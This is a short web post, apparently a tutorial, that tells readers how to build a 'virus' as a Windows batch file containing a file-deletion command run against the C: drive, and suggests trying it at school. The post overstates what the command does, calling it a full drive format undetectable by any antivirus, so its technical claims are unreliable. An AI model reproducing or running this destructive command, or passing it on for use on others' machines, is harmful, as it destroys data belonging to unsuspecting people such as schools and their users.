How to create most effective virus not detected by antivirus?

Today I am gonna show you how to make a virus programme that can totally delete your entire drive!The good thing about this virus is that it is not detected by any antivirus programme!!This formats your entire c drive so i suggest you to put back up before doing it...Note: I am not responsible to any damages caused by it. Do this at your own risk..Now the first thing you have to do is open notepad and copy and paste the following code:@Echo offDel C:\ *.* |yNow save this file naming it virus.batNote that the file should have .bat extension.Now your simple virus is ready for use ... May be you can practise it in your school :PSimple code complex work.....Enjoy:D